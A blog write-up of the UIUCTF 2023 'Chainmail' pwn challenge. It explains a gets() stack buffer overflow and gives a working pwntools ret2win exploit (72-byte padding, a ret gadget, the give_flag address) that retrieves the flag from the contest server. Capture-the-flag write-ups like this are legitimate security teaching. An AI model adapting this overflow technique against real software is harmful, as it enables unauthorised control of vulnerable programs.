UIUCTF 2023

Posted by 0xEpitome on Mon, Jul 3, 2023

Below is my Writeup for challenges that I managed to solve together with my team

Chainmail (Pwn)

We are given a C file and an executable. On viewing the C file:

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4#include <unistd.h>
 5
 6void give_flag() {
 7    FILE *f = fopen("/flag.txt", "r");
 8    if (f != NULL) {
 9        char c;
10        while ((c = fgetc(f)) != EOF) {
11            putchar(c);
12        }
13    }
14    else {
15        printf("Flag not found!\n");
16    }
17    fclose(f);
18}
19
20int main(int argc, char **argv) {
21    setvbuf(stdout, NULL, _IONBF, 0);
22    setvbuf(stderr, NULL, _IONBF, 0);
23    setvbuf(stdin, NULL, _IONBF, 0);
24
25    char name[64];
26    printf("Hello, welcome to the chain email generator! Please give the name of a recipient: ");
27    gets(name);
28    printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name);
29    return 0;
30}

There is a main function of which performs some printf functions then we see a gets function which is vulnerable to buffer overflow. There is a function also give_flag() which opens a flag.txt, that is the function we want to execute. This is a classic ret2win challenge.

Let us find the offset: I will use gdb and cyclic to do that.

cyclic 100

 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Since we see the buffer accepts 64 bytes then we can input more than 64 characters I will put the break after gets functions

image
The program breaks due to sigsegv(segmentation fault)
image
Copy the value in rsp to find padding using cyclic
image
NIce, We get the offset being 72, Now we need to know the address of give_flag that we need to execute. That should be pretty easy using gdb.
image
Now developing the exploit, I Used pwninit to patch the binary and develop a solve script that uses pwntools. In the solve script, due to stack alignment issues we need to have a ret function other than the flag function so that it can execute well. We can find the ret function using ROPgadget
image
Here is the exploit.

 1#!/usr/bin/env python3
 2
 3from pwn import *
 4
 5exe = ELF("chal_patched")
 6
 7context.binary = exe
 8
 9
10def conn():
11    if args.LOCAL:
12        r = process([exe.path])
13        if args.DEBUG:
14            gdb.attach(r)
15    else:
16        r = remote("chainmail.chal.uiuc.tf", 1337)
17
18    return r
19
20
21def main():
22    r = conn()
23    padding = b"A"*72
24    ret = p64(0x000000000040101a)
25    flag_win = p64(0x0000000000401216)
26    payload = padding + ret + flag_win
27
28    # good luck pwning :)
29    r.recvuntil(b"recipient:")
30    r.sendline(payload)
31    r.interactive()
32
33
34if __name__ == "__main__":
35    main()

Testing it locally, I made a test flag to test the exploit.

image

The script works fine, testing it using remote: We get the flag

uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}

More writeups coming